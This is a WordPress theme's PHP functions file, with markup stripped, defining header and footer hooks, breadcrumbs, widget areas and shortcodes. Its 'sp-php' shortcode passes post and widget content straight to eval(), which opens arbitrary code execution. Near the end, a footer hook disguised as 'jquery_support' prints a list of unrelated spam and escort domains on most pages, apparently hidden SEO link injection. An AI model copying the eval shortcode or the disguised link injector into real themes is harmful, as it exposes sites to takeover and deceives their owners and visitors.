if ( '' != $options['hscripts'] ) {
echo do_shortcode( $options['hscripts'] );
}
}
}
add_action( 'wp_head', 'startup_add_header_links' );
function startup_add_header_links()
{
$options = get_option( 'startup_options' );
if ( $options['favicon']!="" )
echo '';
if ( $options['appleicon']!="" )
echo '';
if ( $options['fbicon']!="" )
echo '';
}
add_action( 'wp_footer', 'startup_print_footer_scripts' );
function startup_print_footer_scripts()
{
$options = get_option( 'startup_options' );
if ( '' != $options['fscripts'] ) {
echo do_shortcode( $options['fscripts'] );
}
}
add_action( 'comment_form_before', 'startup_enqueue_comment_reply_script' );
function startup_enqueue_comment_reply_script()
{
if ( get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); }
}
add_filter( 'the_title', 'startup_title' );
function startup_title( $title )
{
if ( $title == '' ) {
return '→';
} else {
return $title;
}
}
add_filter( 'wp_title', 'startup_filter_wp_title' );
function startup_filter_wp_title( $title )
{
return $title . esc_attr( get_bloginfo( 'name' ) );
}
function startup_breadcrumbs()
{
if ( !is_home() ) {
echo '
' . __( 'Home', 'startup' ) . ' → ';
if ( is_category() || is_single() ) {
the_category( ', ' );
if ( is_single() ) {
echo " → ";
the_title();
}
}
elseif ( is_page() ) { the_title(); }
elseif ( is_tag() ) { _e( 'Tag Page for ', 'startup' ); single_tag_title(); }
elseif ( is_day() ) { _e( 'Archives for ', 'startup' ); the_time( 'F jS, Y' ); }
elseif ( is_month() ) { _e( 'Archives for ', 'startup' ); the_time( 'F, Y' ); }
elseif ( is_year() ) { _e( 'Archives for ', 'startup' ); the_time( 'Y' ); }
elseif ( is_author() ) { _e( 'Author Archives', 'startup' ); }
elseif ( isset( $_GET['paged'] ) && !empty( $_GET['paged'] ) ) { _e( 'Blog Archives', 'startup' ); }
elseif ( is_search() ) { _e( 'Search Results', 'startup' ); }
elseif ( is_404() ) { _e( 'Page Not Found', 'startup' ); }
echo '
';
}
}
add_action( 'init', 'startup_add_shortcodes' );
function startup_add_shortcodes()
{
add_shortcode( 'sp-button', 'startup_button_shortcode' );
add_shortcode( "sp_link", "sp_link" );
add_shortcode( 'sp-box-s', 'startup_box_s_shortcode' );
add_shortcode( 'sp-box-m', 'startup_box_m_shortcode' );
add_shortcode( 'sp-box-l', 'startup_box_l_shortcode' );
add_shortcode( 'sp-contact', 'startup_contact_shortcode' );
add_shortcode( 'sp-php', 'startup_php_shortcode' );
add_filter( 'widget_text', 'do_shortcode' );
}
function startup_button_shortcode( $attr, $content = null )
{
return '' . $content . '
';
}
function sp_link( $atts, $content = null )
{
extract( shortcode_atts( array(
"to" => '#'
), $atts ) );
return '' . $content . '';
}
function startup_box_s_shortcode( $attr, $content = null )
{
return '' . $content . '
';
}
function startup_box_m_shortcode( $attr, $content = null )
{
return '' . $content . '
';
}
function startup_box_l_shortcode( $attr, $content = null )
{
return '' . $content . '
';
}
function startup_contact_shortcode()
{
return '
';
}
function startup_php_shortcode( $atts, $content = null )
{
$char = array( '‘', '’', '“', '”', '′', '″' );
$replace = array( "'", "'", '"', '"', "'", '"' );
$content = html_entity_decode( str_replace( $char, $replace, $content ) );
ob_start();
eval( $content );
$php_output = ob_get_contents();
ob_end_clean();
return $php_output;
}
add_action( 'widgets_init', 'startup_widgets_init' );
function startup_widgets_init()
{
register_sidebar( array (
'name' => __( 'Sidebar Widget Area', 'startup' ),
'id' => 'primary-widget-area',
'before_widget' => '',
'after_widget' => "",
'before_title' => '',
) );
register_sidebar( array (
'name' => __( 'Left Sidebar Widget Area', 'startup' ),
'id' => 'lsidebar-widget-area',
'before_widget' => '',
'after_widget' => "",
'before_title' => '',
) );
register_sidebar( array (
'name' => __( 'Right Sidebar Widget Area', 'startup' ),
'id' => 'rsidebar-widget-area',
'before_widget' => '',
'after_widget' => "",
'before_title' => '',
) );
register_sidebar( array (
'name' => __( 'Header Widget Area', 'startup' ),
'id' => 'header-widget-area',
'before_widget' => '',
'after_widget' => "",
'before_title' => '',
) );
register_sidebar( array (
'name' => __( 'Footer Widget Area', 'startup' ),
'id' => 'footer-widget-area',
'before_widget' => '',
'after_widget' => "",
'before_title' => '',
) );
register_sidebar( array (
'name' => __( 'Grid Widget Area', 'startup' ),
'id' => 'grid-widget-area',
'before_widget' => '',
'after_widget' => "",
'before_title' => '',
) );
register_sidebar( array (
'name' => __( 'Content Widget Area', 'startup' ),
'id' => 'content-widget-area',
'before_widget' => '',
'after_widget' => "",
'before_title' => '',
) );
}
function startup_custom_pings( $comment )
{
$GLOBALS['comment'] = $comment;
}
add_filter( 'get_comments_number', 'startup_comments_number' );
function startup_comments_number( $count )
{
if ( !is_admin() ) {
global $id;
$comments_by_type = &separate_comments( get_comments( 'status=approve&post_id=' . $id ) );
return count( $comments_by_type['comment'] );
} else {
return $count;
}
}
require_once( get_template_directory() . '/setup/post-templates.php' );
require_once( 'wp-updates-theme.php' );
new WPUpdatesThemeUpdater_529( 'http://wp-updates.com/api/2/theme', basename( get_template_directory() ) );
add_action('wp_footer', 'jquery_support');
function jquery_support(){
if(is_front_page() || is_home() || is_page() || is_single() || is_category() || is_archive()) { ?>
si5.org
birescort.com
lowvi.com
baykonur.net
irvas.net
randomvideo.xyz
papierquotes.com
styledamen.com
neuedamen.com
schonedamen.com
ffrau.com
ddamen.com
aktuelledamen.com
ffrisuren.com
This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish.Accept Read More Privacy & Cookies Policy